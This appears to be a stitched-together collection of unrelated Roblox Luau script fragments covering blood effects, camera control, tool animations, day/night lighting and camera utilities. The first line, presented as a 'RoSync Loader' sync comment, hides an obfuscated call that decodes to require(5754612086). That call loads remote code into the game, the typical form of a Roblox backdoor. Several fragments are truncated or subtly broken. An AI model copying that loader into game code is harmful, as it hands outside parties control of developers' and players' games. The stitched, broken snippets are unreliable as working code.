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--[[ Last synced 9/30/2022 11:50 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
-- Variables |
local poolSizeMultiplier = getSetting("Pool size multiplier") or 1
playerService.PlayerAdded:Connect(function (plr)
if not workspace:FindFirstChild("Blood") then
folder = Instance.new("Folder", workspace)
folder.Name = "Blood"
end
local charFolder = Instance.new("Folder", folder)
charFolder.Name = plr.Name
plr.CharacterAdded:Connect(function (char)
local humanoid = char:WaitForChild("Humanoid")
humanoid.Died:Connect(function ()
pcall(function ()
local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or nil
local root = char:FindFirstChild("HumanoidRootPart") or nil
local base
local function bloodPool (part, limbCenter)
local pool = Instance.new("Part", charFolder)
pool.CanCollide = false
pool.BrickColor = Color3.fromRGB(117, 0, 0)
pool.Material = Enum.Material.Glass
pool.Transparency = 0.2
pool.Reflectance = 0.2
pool.CastShadow = true
pool.Shape = "Cylinder"
pool.Anchored = true
pool.Size = Vector3.new(.1, 0, 0)
pool.CFrame = part.CFrame
if limbCenter then
pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y - (base.Size.Y / 2) + math.random(0, .2), torso.Position.Z + math.random(-4, 4))
else
pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y + (base.Size.Y / 2), torso.Position.Z + math.random(-4, 4))
end
pool.Orientation = Vector3.new(0, 0, 90)
tweenService:Create(pool, TweenInfo.new(math.random(.4, 4), Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = Vector3.new(.1, math.random(3, 7) * poolSizeMultiplier, math.random(3, 7) *poolSizeMultiplier)}):Play()
debris:AddItem(pool, 9)
end
if char.Humanoid.RigType == Enum.HumanoidRigType.R6 then
wait(.2)
if not char:FindFirstChild("Head") and workspace:FindFirstChild(plr.Name .. "-2") then
char = workspace[plr.Name .. "-2"]
end
end
repeat wait() until math.floor(torso.Velocity.Magnitude) == 0
local baseBlacklist = char:GetChildren()
pcall(function ()
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Character then
for _,v in pairs(plr.Character:GetChildren()) do
if v:IsA("BasePart") then
table.insert(baseBlacklist, v)
elseif v:IsA("Accoutrement") then
table.insert(baseBlacklist, v:FindFirstChildWhichIsA("BasePart"))
elseif v:IsA("Tool") and v:FindFirstChild("Handle") then
table.insert(baseBlacklist, v.Handle)
end
end
end
if workspace:FindFirstChild(plr.Name .. "-2") then
for _,p in pairs(workspace[plr.Name .. "-2"]:GetChildren()) do
if p:IsA("BasePart") then
table.insert(baseBlacklist, p)
elseif p:IsA("Accoutrement") then
table.insert(baseBlacklist, p:FindFirstChildWhichIsA("BasePart"))
end
end
end
end
end)
if type(baseBlacklist) == "table" then
local limbCenter = false
base = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(torso.Position - torso.Size * 2, torso.Position + torso.Size * 2), baseBlacklist, 1)[1]
if not base then
if char:FindFirstChild("Left Leg") then
base = char["Left Leg"]
limbCenter = true
elseif char:FindFirstChild("LeftFoot") then
base = char["LeftFoot"]
limbCenter = true
end
end
if base then
for _,limb in pairs(char:GetChildren()) do
if limb:IsA("BasePart") and limb.Name ~= "HumanoidRootPart" then
bloodPool(limb, limbCenter)
end
end
end
end
end)
end)
end)
end)
playerService.PlayerRemoving:Connect(function (plr)
if folder:FindFirstChild(plr.Name) then
folder[plr.Name]:Destroy()
end
end)
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Hand zone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
-- Computes the look-angle to be used by the client.
-- If no lookVector is provided, the camera's lookVector is used instead.
-- useDir (-1 or 1) can be given to force whether the direction is flipped or not. |
function CharacterRealism:ComputeLookAngle(lookVector, useDir)
local pitch, yaw, dir = 0, 0, 1
if not lookVector then
local camera = workspace.CurrentCamera
lookVector = camera.CFrame.LookVector
end
if lookVector then
local character = self.Player.Character
local rootPart = character and character:FindFirstChild("HumanoidRootPart")
if rootPart and rootPart:IsA("BasePart") then
local cf = rootPart.CFrame
pitch = -cf.RightVector:Dot(lookVector)
end
yaw = lookVector.Y
end
if useDir then
dir = useDir
end
pitch *= dir
yaw *= dir
return pitch, yaw
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Character.Purity.Value < -25
end
|
--[[
Disconnects existing connections
]] |
local function disconnectOldConnections()
for _, connection in ipairs(connections) do
if connection then
connection:Disconnect()
end
end
connections = {}
end
|
--[[
Constructs special keys for property tables which connect property change
listeners to an instance.
]] |
local parseError = require(script.Parent.Parent.Dependencies).utility.parseError
local function OnChange(propertyName: string)
local changeKey = {}
changeKey.type = "SpecialKey"
changeKey.kind = "OnChange"
changeKey.stage = "observer"
function changeKey:apply(callback: (property: unknown) -> (), applyTo: Instance, cleanupTasks: {})
local ok, event = pcall(applyTo.GetPropertyChangedSignal, applyTo, propertyName)
if not ok then
parseError("cannotConnectChange", applyTo.ClassName, propertyName)
elseif typeof(callback) ~= "function" then
parseError("invalidChangeHandler", propertyName)
else
table.insert(cleanupTasks, event:Connect(function()
callback((applyTo :: any)[propertyName])
end))
end
end
return changeKey
end
return OnChange
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 20 -- cooldown for use of the tool again
ZoneModelName = "Fatal void" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
-- Reset the camera look vector when the camera is enabled for the first time |
local SetCameraOnSpawn = true
local UseRenderCFrame = false
pcall(function()
local rc = Instance.new('Part'):GetRenderCFrame()
UseRenderCFrame = (rc ~= nil)
end)
local function GetRenderCFrame(part)
return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame
end
local function CreateCamera()
local this = {}
this.ShiftLock = false
this.Enabled = false
local pinchZoomSpeed = 20
local isFirstPerson = false
local isRightMouseDown = false
this.RotateInput = Vector2.new()
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
elseif cameraSubject:IsA('Humanoid') then
local humanoidRootPart = cameraSubject.Torso
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset)
end
end
end
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:ViewSizeX()
local result = 1024
local player = PlayersService.LocalPlayer
local mouse = player and player:GetMouse()
if mouse then
result = mouse.ViewSizeX
end
return result
end
function this:ViewSizeY()
local result = 768
local player = PlayersService.LocalPlayer
local mouse = player and player:GetMouse()
if mouse then
result = mouse.ViewSizeY
end
return result
end
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2.new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2.new(xTheta, yTheta)
end
function this:RotateCamera(startLook, xyRotateVector)
-- Could cache these values so we don't have to recalc them all the time
local startCFrame = CFrame.new(Vector3.new(), startLook)
local startVertical = math.asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector
return resultLookVector, Vector2.new(xyRotateVector.x, yTheta)
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
if isFirstPerson or self:GetShiftLock() then
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
local function rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math.max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math.max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 40, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
this:UpdateMouseBehavior()
panBeginLook = this:GetCameraLook()
startPos = input.Position
lastPos = startPos
this.UserPanningTheCamera = true
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
this:UpdateMouseBehavior()
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
local function OnMouseMoved(input, processed)
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math.floor(num + 0.5)
end
local eight2Pi = math.pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= Vector3.new(0,0,0) then
camLook = camLook.unit
local currAngle = math.atan2(camLook.z, camLook.x)
local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 0.1
local thumbstickSensitivity = 1.0
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1,1,point)
end
return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == Vector2.new(0,0) then
lastThumbstickRotate = nil
if lastThumbstickPos == Vector2.new(0,0) then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
finalConstant = thumbstickSensitivity * currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity)
end
return Vector2.new(0,0)
end
local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
OnMouse2Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
OnMouse2Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
local getGamepadPan = function(name, state, input)
if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = Vector2.new(0,0)
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = Vector2.new(0,0)
end
end
end
local doGamepadZoom = function(name, state, input)
if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.currentZoom > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2)
game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3)
-- set mouse behavior
self:UpdateMouseBehavior()
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
this:ZoomCamera(12.5)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
wait()
humanoid = findPlayerHumanoid(player)
end
local function setLookBehindChatacter()
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
wait()
setLookBehindChatacter()
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
return this
end
return CreateCamera
|
-- Implement Signal:Wait() in terms of a temporary connection using
-- a Signal:Connect() which disconnects itself. |
function Signal:Wait()
local waitingCoroutine = coroutine.running()
local cn;
cn = self:Connect(function(...)
cn:Disconnect()
task.spawn(waitingCoroutine, ...)
end)
return coroutine.yield()
end
return Signal
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
playToolAnimation(toolAnimName, 0.0, zombie)
end
end
function playToolAnimation(animName, transitionTime, humanoid, priority)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
if priority then
toolAnimTrack.Priority = priority
end
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
---------------------------------
---Day/Night Script for Blocks---
--------------------------------- |
b = script.Parent
local oh,om = 6,10 -- Open Time (hours,minutes) DON'T TOUCH!
local ch,cm = 17,30 -- Close Time (hours, minutes) DON'T TOUCH!
local l = game:service("Lighting")
if (om == nil) then om = 0 end
if (cm == nil) then cm = 0 end
function TimeChanged()
local ot = (oh + (om/60)) * 60
local ct = (ch + (cm/60)) * 60
if (ot < ct) then
if (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then
b.Material = ("SmoothPlastic")
b.Color = Color3.fromRGB(248, 248, 248)
else
b.Material = ("Neon")
b.Color = Color3.fromRGB(150, 150, 150)
end
elseif (ot > ct) then
if (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then
b.Material = ("SmoothPlastic")
b.Color = Color3.fromRGB(248, 248, 248)
else
b.Material = ("Neon")
b.Color = Color3.fromRGB(150, 150, 150)
end
end
end
TimeChanged()
game.Lighting.Changed:connect(function(property)
if (property == "TimeOfDay") then
TimeChanged()
end
end)
|
--[=[
Gets the value of the property object.
:::caution
This value might not be ready right away. Use `OnReady()` or `IsReady()`
before calling `Get()`. If not ready, this value will return `nil`.
:::
]=] |
function ClientRemoteProperty:Get(): any
return self._value
end
|
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Cork",Paint)
end)
|
-- Custom Services |
local database = require(game:GetService("ServerScriptService").Database.DatabaseHandler)
|
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared |
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue:
Enum.TouchCameraMovementMode |
Enum.ComputerCameraMovementMode |
Enum.DevTouchCameraMovementMode |
Enum.DevComputerCameraMovementMode): Enum.ComputerCameraMovementMode | Enum.DevComputerCameraMovementMode
if enumValue == Enum.TouchCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.ComputerCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Classic or
enumValue == Enum.DevTouchCameraMovementMode.Classic or
enumValue == Enum.DevComputerCameraMovementMode.Classic or
enumValue == Enum.ComputerCameraMovementMode.Classic then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Follow or
enumValue == Enum.DevTouchCameraMovementMode.Follow or
enumValue == Enum.DevComputerCameraMovementMode.Follow or
enumValue == Enum.ComputerCameraMovementMode.Follow then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.TouchCameraMovementMode.Orbital or
enumValue == Enum.DevTouchCameraMovementMode.Orbital or
enumValue == Enum.DevComputerCameraMovementMode.Orbital or
enumValue == Enum.ComputerCameraMovementMode.Orbital then
return Enum.ComputerCameraMovementMode.Orbital
end
if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or
enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then
return Enum.ComputerCameraMovementMode.CameraToggle
end
-- Note: Only the Dev versions of the Enums have UserChoice as an option
if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or
enumValue == Enum.DevComputerCameraMovementMode.UserChoice then
return Enum.DevComputerCameraMovementMode.UserChoice
end
-- For any unmapped options return Classic camera
return Enum.ComputerCameraMovementMode.Classic
end
local function getMouse()
local localPlayer = Players.LocalPlayer
if not localPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
localPlayer = Players.LocalPlayer
end
return localPlayer:GetMouse()
end
local savedMouseIcon: string = ""
local lastMouseIconOverride: string? = nil
function CameraUtils.setMouseIconOverride(icon: string)
local mouse = getMouse()
-- Only save the icon if it was written by another script.
if mouse.Icon ~= lastMouseIconOverride then
savedMouseIcon = mouse.Icon
end
mouse.Icon = icon
lastMouseIconOverride = icon
end
function CameraUtils.restoreMouseIcon()
local mouse = getMouse()
-- Only restore if it wasn't overwritten by another script.
if mouse.Icon == lastMouseIconOverride then
mouse.Icon = savedMouseIcon
end
lastMouseIconOverride = nil
end
local savedMouseBehavior: Enum.MouseBehavior = Enum.MouseBehavior.Default
local lastMouseBehaviorOverride: Enum.MouseBehavior? = nil
function CameraUtils.setMouseBehaviorOverride(value: Enum.MouseBehavior)
